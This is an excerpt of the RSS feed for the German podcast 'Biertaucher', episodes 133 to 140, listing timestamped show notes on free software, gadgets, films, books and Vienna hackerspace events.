+</li><li> 0:35:54 Horst launcht sein <a href="http://spielend-programmieren.at/de:ris:001">RIS-Journal</a>, kommt ein wenig besser mit <a href="https://en.wikipedia.org/wiki/LaTeX">LaTeX</a> aus
+</li><li> 0:45:06 Podcastempfehlung: <a href="http://bitcoinupdate.com/index.php?id=51">Bitcoin-Update 59</a>
+</li><li> 0:45:55 Sebastian spricht über das Projekt <a href="http://open-karma.com/">OpenKarma</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher140.mp3" length="42826568" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst liest den Undercover-Economist sowie eine Visual Novel über Steve Jobs und launcht sein RIS-Journal, Gregor war im Kino Kinofilme Vampir- und Beziehungsfilme anschauen. Interview über OpenKarma.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/lFwih2 http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:59:25</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 140, RISJournal, Mozilla, Ebook, Thalia, EPub, Tim Harford, The undercover economist strikes back, Venus im Pelz, Steve Jobs, Only Lovers left alive, OpenKarma, PyLadies, RISJournal, LaTeX, Steingeld, dribble, behance
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 139</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:139</link>
+ <pubDate>Wed, 15 Jan 2014 20:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher139.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:139&amp;title=Biertaucher%20Folge%20139&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Johnny ZWENG, Florian SCHWEIKERT und Harald PICHLER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/BFFMGm oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/BFFMGm">hier klicken um die Shownotes zur Folge 139</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B>, <b>Johnny ZWENG</B>, <b>Florian SCHWEIKERT</B> und <b>Harald PICHLER</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ ><li> 0:00:00 Begrüßung, worüber wir reden werden
+</li><li> 0:01:50 Meldung: <a href="http://derstandard.at/1388650811096/Cisco-bestaetigt-Hintertuer-in-mehreren-Routern">Sicherheitslücke bei Cisco Routern</a>, <a href="http://de.wikipedia.org/wiki/Openwrt">OpenWrt</a>
+</li><li> 0:08:08 Florian hat ein <a href="http://derstandard.at/1388650542270/Nokias-verpasste-Zukunft-Das-Jollaphone-im-Test">Jolla Phone</a> und berichtet über seine Erfahrungen damit.
+</li><li> 0:30:46 <a href="http://makezine.com/magazine/building-an-open-source-laptop/">Open Source Laptop selber gebaut</a>
+</li><li> 0:31:40 Johnny und die Medien: Johnny <a href="http://derstandard.at/1388650296717/Smartphone-App-liest-Bankomatdaten-aus">erklärt Reportern</a> bedenkliche Privatsphären-Lücke bei NFC Bezahlkarten. EMV Standard.
+</li><li> 0:53:22 Harald hörst Wissenschaftssendung im Ö1 über effizientere Reisanbaumethoden
+</li><li> 1:00:07 nächstes Smarthome Treffen im <a href="https://metalab.at/">Metalab</a>: Mittwoch, 22. Jänner. <a href="http://osdomotics.com">OsDomotics</a> Neuheiten.
+</li><li> 1:05:30 Horst launcht das <a href="http://spielend-programmieren.at/de:ris:001:start">RIS-Journal, Ausgabe 001</a> ( 60 Seiten )
+</li><li> 1:09:10 Horst war im Kino und hat sich <a href="http://badfucking.at/">Bad Fucking</a> gesehen. (siehe auch <a href="http://de.wikipedia.org/wiki/Piefke_Saga">Piefke Saga</a>, <a href="http://de.wikipedia.org/wiki/Braunschlag">Braunschlag</a>, <a href="http://de.wikipedia.org/wiki/Die_unabsichtliche_Entf%C3%BChrung_der_Frau_Elfriede_Ott">unabsichtliche Entführung der Elfriede Ott</a> )
+</li><li> 1:15:15 Gregor schaut dänische TV-Politserie: <a href="http://de.wikipedia.org/wiki/Borgen_%E2%80%93_Gef%C3%A4hrliche_Seilschaften">Borgen</a> (<a href="http://www.amazon.de/gp/product/B006K83H9C/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B006K83H9C&linkCode=as2&tag=spielendprogr-21">Amazon Link</a>)
+</li><li> 1:20:17 Horst liest kostenloses Ebook: <a href="http://www.gluecklich-ohne-geld.de/">Glücklich ohne Geld !</a> <a href="http://de.forwardtherevolution.net/">Forward the Revolution</a> veganes Leben, Containern, Weltverbessern.
+</li><li> 1:31:40 Podcastempfehlung: <a href="http://bitcoinupdate.com/index.php?id=50">Bitcoin Update 58</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher139.mp3" length="66436454" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor schaut Borgen, Florian erfreut sich am Jolla Smartphone, Horst liest über geldloses Glück sah im Kino Bad Fucking, Johnny wurde zum Medienstar und erzählt über unsicheres berührungslose Bezahlvorgänge, Harald sah TV Doku über Reisanbau</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/BFFMGm http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:32:13</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 139, RISJournal, LaTeX, Bad Fucking, Kino, Borgen, TV, Jolla, Payment, drahtlos, NFC, Sicherheitslücke, bezahlen, OSDomotics, Reis, bargeldlos, Geldstreik
+</itunes:keywords>
+</item>
+
+
+
+
+
+<item>
+ <title>Biertaucher Folge 138</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:138</link>
+ <pubDate>Wed, 08 Jan 2014 19:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher138.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:138&amp;title=Biertaucher%20Folge%20138&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/BFFMGm oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/BFFMGm">hier klicken um die Shownotes zur Folge 138</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ ><li> 0:00:33 worüber wir reden werden
+</li><li> 0:02:40 Horst baut seine <a href="http://spielend-programmieren.at/de:ris:start">RIS-Journal</a> Zeitschrift mit <a href="http://de.wikipedia.org/wiki/LaTeX">LaTeX</a> (mit Plugin für den Editor <a href="http://geany.org">Geany</a>)
+</li><li> 0:07:21 Gregor spendet via PayPal für <a href="http://de.libreoffice.org">LibreOffice</a>
+</li><li> 0:08:18 Gregor kauft ein neues Android Humble Bundle: <a href="http://www.anomaly2game.com/">Anomalie2</a> , (umgekehrtes <a href="http://de.wikipedia.org/wiki/Tower_Defense">Tower-Defense</a> Spiel)
+</li><li> 0:10:00 Gregor spielt ein Blade-Runner mäßiges, erwachsenes Adventure: <a href="https://en.wikipedia.org/wiki/Gemini_Rue">Gemini Rue</a>
+</li><li> 0:13:30 Horst hat einen <a href="http://www.meka.at/main/">evangelischen Gottesdienst in Wien</a> besucht
+</li><li> 0:17:30 Gregor schaut Mafia TV Serie: <a href="https://en.wikipedia.org/wiki/Mob_City">Mob City</a>
+</li><li> 0:19:31 Horst redet mit einem Piloten über Pilotenausbildung, Jobsituation und automatische Landesysteme (siehe auch Gepräche <a href="http://spielend-programmieren.at/de:podcast:biertaucher:2011:026">Biertaucherpodcast 26</a> mit Joseph Mangan)
+</li><li> 0:28:15 Gregor spielt Adventures: <a href="http://www.amazon.de/gp/product/B00CP1NNHO/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00CP1NNHO&linkCode=as2&tag=spielendprogr-21">The Raven Legacy of a master thief</a>
+</li><li> 0:32:34 Podcast über: <a href="http://www.econtalk.org/archives/2013/02/varoufakis_on_v.html">Valve, (Steam, Team Fortress, Counterstrike etc.) eine Firma ohne Boss</a> (viele Links und teilweise Transkript), Bezahlung bei Steam, Firmenkultur, <a href="http://www.valvesoftware.com/company/Valve_Handbook_LowRes.pdf">Mitarbeiterhandbuch für Steam Mitarbeiter</a>
+</li><li> 0:49:13 Podcast: <a href="http://die-sondersendung.de/sz007-hinsetzen-headset-auf-loslegen">Die Sondersendung</a> über Chaos-Congress Hamburg (Wikigeeks), <a href="http://www.stayforever.de/2013/12/folge-1-winter-games/">Stay-forever Podcast über Winter Games</a>, <a href="http://www.geek-week.de/2014/01/03/138-linux-special-teil-1-mit-michael-hoffer/">Geekweek.de Podcast über Linux</a>, Anfängerfreundliche Einführung
+</li><li> 0:51:18 Horst hat (in der <a href="https://de.wikipedia.org/wiki/Villa_Manin">Villa Manin</a>) eine Austellung über Kriegsfotograf <a href="http://de.wikipedia.org/wiki/Robert_Capa">Robert Capa</a> gesehen.
+</li><li> 0:52:44 freie Audiobücher <a href="https://librivox.org/">librivox.org</a>, zum selber einsprechen
+</li><li> 0:54:17 Kickstarter Film Projekt: <a href="http://www.kickstarter.com/projects/kungfury/kung-fury?ref=live">Kung Fury</a>
+</li><li> 0:56:00 Gregor gruselt sich: <a href="https://en.wikipedia.org/wiki/American_Horror_Story">American Horror Story</a>
+</li><li> 1:00:15 Podcast-Empfehlung (Inhaltsverzeichnis): <a href="http://bitcoinupdate.com/index.php?id=49">Bitcoin-Update Folge 57</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher138.mp3" length="37650577" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor spielt Humble-Bundle Spiele, schaut TV-Serien und hört Podcasts. Horst redete mit Piloten, war in einer Robert-Cappa Ausstellung und in einem evang. Gottesdienst, beschäftigt sich mit LaTeX und staunt über Valve (Firma ohne Boss)</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/BFFMGm http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:01:09</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 138, RIS-Journal, LaTeX, Anomalie2, Gemini Rue, Mob City, American Horror Story, Pilot, Raven Master Thief, Valve, firma ohne boss, ChaosCongress, Sondersendung, 30C3, Kung Fury
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 137</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:137</link>
+ <pubDate>Tue, 31 Dec 2013 16:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher137.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:137&amp;title=Biertaucher%20Folge%20137&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/oQezGx oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/oQezGx">hier klicken um die Shownotes zur Folge 137</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> plaudert über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ ><li> <a href="http://youtu.be/gf_s77p7aRc">Schauen Sie sich die Sendung als Youtube Video an!</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher137.mp3" length="6022092" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst spricht einzig und alleine über sein neues Projekt, das RIS Journal, eine creative-commons lizensierte Open-Source Zeitschrift für Schulen</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/oQezGx http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:08:17</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, RISJournal, Wien, OpenSource, Zeitschrift, CreativeCommons
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 136</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:136</link>
+ <pubDate>Tue, 24 Dec 2013 06:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher136.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:136&amp;title=Biertaucher%20Folge%20136&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/GAi5Eq oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/GAi5Eq">hier klicken um die Shownotes zur Folge 136</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ ><li> <a href="http://blog.ted.com/2013/12/16/the-first-school-in-the-cloud-opens/">Shool in the Cloud</a>
+</li><li> <a href="http://www.spiegel.de/netzwelt/web/gratisbilder-zeichnungen-aus-dem-schatz-der-british-library-a-939419.html">GratisBilder von British Library</a>
+</li><li> <a href="http://www.theguardian.com/science/2013/dec/09/nobel-winner-boycott-science-journals">Wissenschaftler boykottieren Zeitschriftenverlag</a>
+</li><li> <a href="http://futurezone.at/netzpolitik/akademiker-muessen-eigene-artikel-aus-dem-netz-entfernen/41.443.819">Wissenschaftler müssen eigene Artikel aus dem Internet löschen</a>
+</li><li> <a href="http://hackerspaceshop.com/automat/">Metalab Hardware Vending machine ist aufgefüllt </a>
+</li><li> michelreimon blog:[EU http://www.reimon.net/2013/12/20/weihnachtsgeschenke-fur-konzerne-geistiges-eigentum-in-ttip-verhandlungen/">EU Lobbysten für geistiges Eigtentum und gegen Bevölkerung</a>
+</li><li> Kino <a href="http://youtu.be/Gya42LVSU4k">Fack ju Göhte mit Elyas M'Barek</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher136.mp3" length="9798426" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst macht ganz alleine einen Weihnachtspodcast, war im Kino und liest Meldungen vor.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/GAi5Eq http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:13:36</itunes:duration>
+<itunes:keywords>136, Biertaucher, Podcast, Wien, Fack ju Göhte, Metalab, EU, Michel Reimon, Zeitschriften, Shool in the cloud, geistiges eigentum
+</itunes:keywords>
+</item>
+
+
+
+
+
+<item>
+ <title>Biertaucher Folge 135</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:135</link>
+ <pubDate>Wed, 18 Dec 2013 06:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher135.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:135&amp;title=Biertaucher%20Folge%20135&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Florian SCHWEIKERT, Horst JENS und Chritian HAUMER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/HJNlEc oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/HJNlEc">hier klicken um die Shownotes zur Folge 135</a> zu sehen</i><br></br>
+ <b>Florian SCHWEIKERT</B>, <b>Horst JENS</B> und <b>Chritian HAUMER</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:52 Horst und Florian sind stolze Beta-Tester von <a href="https://datadealer.com/">DataDealer</a> und berichten über erste Eindrücke
+</li><li> 0:03:37 Horst belauscht Martin beim Basiswappeln in einer <a href="http://community.attac.at/agrarattac.html">Attac-Agrar Basisgruppe</a> / <a href="https://metalab.at/wiki/Datei:Openlandlab2013-11-01.pdf">Hackerspaceprojekt im Burgenland</a>
+</li><li> 0:04:42 <a href="http://owncloud.org/">Owncloud</a> (statt Google Drive oder Dropbox), Owncloud Apps: Feedreader, Kalender, Links
+</li><li> 0:06:42 Florian hat gutes gehört über <a href="https://coquelicot.potager.org/">Coquelicot</a>: große Dateien clever verschicken
+</li><li> 0:10:09 web-basierte Kalender und Adressenverwaltung: <a href="http://de.wikipedia.org/wiki/CalDAV">CalDav</a>
+</li><li> 0:13:26 Horst versynchronisiert sich: UbuntuOne und OwnCloud lieber trennen
+</li><li> 0:16:23 Florian wartet auf sein <a href="http://de.wikipedia.org/wiki/Jolla">Jolla Phone</a> mit <a href="http://de.wikipedia.org/wiki/Wayland_(Protokoll)">Wayland</a> und austauschbarer Hardware im Gehäuse. Idee: Jolla mit Merkurboard ?
+</li><li> 0:20:40 <a href="http://gimpmagazine.org/">Gimp Magazin</a> Issue 5, Abomodell bei Adobe Photoshop
+</li><li> 0:22:49 Vermehrte <a href="http://www.youtube.com/watch?v=38Sff9FEIwg&feature=share">Copyright Claims bei Youtube</a>, cc-lizensierte Hintergrundmusik direkt in Youtube "verbessern"
+</li><li> 0:26:09 Horst guckt Youtube: <a href="http://www.theonion.com/">TheOnion.com</a>: <a href="http://youtu.be/JpFunW63W9o">Thoug Season</a> (Fantasy Football) und <a href="http://www.youtube.com/watch?v=0App7QizQCU&feature=share&list=SP622682EF88B3C077">Sex House</a> (Big Brother / Containershow)
+</li><li> 0:36:58 Florian's Rant: Touristenbusse !
+</li><li> 0:39:40 Horst war bei 10-Jahres-Feier von <a href="http://subotron.com/">Subotron</a>, Wiens berühmten Videospiel-Shop im Museumsquartier.
+</li><li> 0:41:00 Interview mit Spiele-Entwickler
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher135.mp3" length="43028739" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst und Florian produzieren Störgeräusche im Metalab und reden über OwnCloud und CalDev und testen die Beta von Data Dealer. Florian wartet auf das Jolla Phone, Horst schaut auf Youtube die Onion-Parodie SexHouse. Interview mit Spieletester.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/HJNlEc http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:59:45</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 135, Wien, DataDealer, Attac, Agrar, OwnCloud, CoQuelicot, CalDav, Hackerspace, Burgendland, Jolla, Youtube, Abmahnung, CopyrightClaim, TheOnion.com, SexHouse, ThougSeason, SexHouse, ContainerShow, BigBrother, Subotron
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 134</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:134</link>
+ <pubDate>Wed, 11 Dec 2013 13:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher134.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:134&amp;title=Biertaucher%20Folge%20134&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Greor PRIDUN und Horst JENS plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/WcUuX4 oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/WcUuX4">hier klicken um die Shownotes zur Folge 134</a> zu sehen</i><br></br>
+ <b>Greor PRIDUN</B> und <b>Horst JENS</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:01 worüber wir reden werden
+</li><li> 0:00:02 <a href="de:ris:2013:001:technonomad">Techno-Nomade Jonas</a> aus Dänemark: absichtlich obdachlos, nie arbeitslos, Arbeiten mit Commandline ohne GUI,
+</li><li> 0:10:00 <a href="http://www.amazon.de/gp/product/B0069ZW3G4/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B0069ZW3G4&linkCode=as2&tag=spielendprogr-21">Kultfilm Smoke</a> (Jonas der Techno-Nomade)
+</li><li> 0:13:41 Reportage: <a href="http://www.roboexotica.org/">Roboxotica 2013</a>, siehe Interview mit Band <a href="http://www.elektroskop.at/">Elektroskop</a> am Ende des Podcasts
+</li><li> 0:37:00 Meldung: <a href="http://t3n.de/news/skyjack-drohne-parrot-ar-drone-514234/">Skyjack</a> Parrot Drohne mit Raspberry entführt andere Drohnen.. <a href="http://youtu.be/EHKV01YQX_w">im Flug</a> !
+</li><li> 0:40:41 TV-Serie mit Haudrauf-Humor: <a href="http://www.amazon.de/gp/product/B002TG3BDQ/ref=as_li_ss_il?ie=UTF8&camp=1638&creative=19454&creativeASIN=B002TG3BDQ&linkCode=as2&tag=spielendprogr-21">Eastbound and Down</a>
+</li><li> 0:44:00 Filmwarnung: <a href="http://www.amazon.de/gp/product/B001B3IM6E/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B001B3IM6E&linkCode=as2&tag=spielendprogr-21">Jumper</a> Teleportations-Krimi
+</li><li> 0:46:30 OSDomotics: Buch <a href="http://www.amazon.de/gp/product/3864900565/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3864900565&linkCode=as2&tag=spielendprogr-21">Web Apps mit JQuery</a>, <a href="http://de.wikipedia.org/wiki/PhoneGap">PhoneGap</a>
+</li><li> 1:05:10 Buchempfehlung: <a href="http://www.amazon.de/gp/product/3702014357/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3702014357&linkCode=as2&tag=spielendprogr-21">Wolfgang Löser, der Energierebell</a> Peak_Oil, Schwungradenergiespeicher, Ölsaat, Agrarsprit, <a href="http://de.wikipedia.org/wiki/Fracking">Fracking</a>, Bürgerinitiativen, thermische und photovoltaische Solaranlagen, Energiesparlampen, Bürgerbeteiligungsmodelle, Bürgerkraftwerke
+</li><li> 1:29:20 OSDomotics: Merkurboard Starterkit, Funk- Temperatur- und Feuchtefühler ohne verfälschte Messwerte, nächster OSDomotics Smarthome Stammtisch am 8. Jänner um 18:00 im Metalab: Howtos machen
+</li><li> 1:37:50 Florian's "Overflow" Hardware Automat im Metalab.
+</li><li> 1:38:53 Meldungen:
+</li><li> 1:38:53 Freakonomics Studie: Violent Video Games reduce violence
+</li><li> 1:40:00 Programmieren: <a href="http://www.tynker.com/">Tynker</a>, wie Scratch aber ohne Flash, sondern mit html5
+</li><li> 1:40:30 Termine: <a href="http://re-publica.de/">Re-publica</a>, Linuxtag Berlin, <a href="http://futurezone.at/digital-life/erster-oesterreichischer-3d-druck-kongress-im-maerz/39.117.618">3D-Printer Kongress</a>.
+</li><li> 1:41:00 <a href="http://www.ted.com/talks/enrique_penalosa_why_buses_represent_democracy_in_action.html">Ted Talk: warum Busse demokratisch sind</a>, Fußgängerfreundliches Verkehrssystem in Bogota
+</li><li> 1:43:13 Podcastempfehlung: Inhaltsverzeichnis vom <a href="http://bitcoinupdate.com/index.php?id=47">Bitcoin-Update 55</a>
+</li><li> 1:44:00 Interview Tyler über die Musikgruppe <a href="http://www.elektroskop.at/">Elektroskop</a>, offizielle Musik der Roboxotica. Siehe auch <a href="http://www.youtube.com/channel/UCSPfDxsrvTvIz1XmkTd5fww?feature=watch">Biertaucherpodcast-Channel auf Youtube</a> für noch folgende Videos von der roboxotica
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher134.mp3" length="77292351" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Bericht und Innterview von Roboxotica, Bericht von Pyugat und Bitcointreffen, Energierebell Wolfgang Löser, OsDomotics Neuheiten, dänische Techno-Nomaden, Filmwarnung, Serienempfehlung und vieles mehr.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/WcUuX4 http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:47:20</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 134, Roboxotica, Energierebell, Pyugat, Wolfgang Löser, Technonomad, Jumper, Obdachlos, ZombieDrohne, Skyjack, Eastbound and Down, JQuery, PhoneGap, Peak Oil, Fracking, Energiesparlampen, OsDomotics, Smarthome, Tynker, TED
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 133</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:133</link>
+ <pubDate>Wed, 4 Dec 2013 13:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher133.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:133&amp;title=Biertaucher%20Folge%20133&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Greor PRIDUN und Horst JENS plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/vZCd8v oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/vZCd8v">hier klicken um die Shownotes zur Folge 133</a> zu sehen</i><br></br>
+ <b>Greor PRIDUN</B> und <b>Horst JENS</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 worüber wir reden werden
+</li><li> 0:01:57 Gregor erfreut sich über den <a href="http://www.conrad.at/ce/de/product/553889/">Elektronik-Bastler-Weihnachtskalender</a> von Konrad Elektronik. Tipp: 9-Volt Batterie dazukaufen.
+</li><li> 0:04:10 Overflow's <a href="https://metalab.at/wiki/Vendor">Hardware-Automat</a> im <a href="http://metalab.at">Metalab</a>
+</li><li> 0:05:08 <a href="http://www.heise.de/ix/meldung/Stallman-wuenscht-sich-WYSIWYG-Emacs-2052459.html">RM Stallman wünscht sich</a> ein neue WYSIWYG Features für <a href="https://de.wikipedia.org/wiki/Emacs">Emacs</a>. Außerdem: Word für DOS, GEOS für C=64
+</li><li> 0:09:07 <a href="http://derstandard.at/1385168873987/Improv-Offene-Hardware-fuer-freie-Software">Improv</a>, neues Board von den KDE Entwicklern
+</li><li> 0:10:25 Horst benutzt seinen <a href="https://de.wikipedia.org/wiki/Raspberry_Pi">Raspberry Pi</a> zum <a href="http://spielend-programmieren.at">Python unterrichten</a> und freut sich über die mitgelieferten Programmier-Tutorials.
+</li><li> 0:16:43 Google <a href="http://derstandard.at/permanent/1385169118338/Google-draengt-CyanogenMod-Installer-aus-dem-Play-Store">kickt Cyanogenmod-Installer-App</a> aus dem Google Play Store
+</li><li> 0:18:00 Meldung: Fernuniversität Hagen hat <a href="http://www.spiegel.de/unispiegel/studium/bgh-urteil-buecher-nur-begrenzt-elektronisch-nutzen-a-936415.html">Probleme mit Urheberrecht</a>, juristischer Zwang zum Kauf einer "geeigneten elektronischen Lizenz"
+</li><li> 0:20:36 Gaming: <a href="http://freegamer.blogspot.com/2013/11/linux-game-awards-voting-open-now.html">Voting für Open-Source Games</a>, <a href="http://freegamer.blogspot.co.at/2013/11/zelda-can-now-free-as-in-freedom.html">Solarus</a>: freies, Legends of Zelda ähnliches Game Construction Kit
+</li><li> 0:24:40 gelesen: neuer Terry Pratchett Scheibenwelt-Roman: <a href="http://www.amazon.de/gp/product/0857522272/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=0857522272&linkCode=as2&tag=spielendprogr-21"">Raising Steam: (Discworld novel 40)</a>
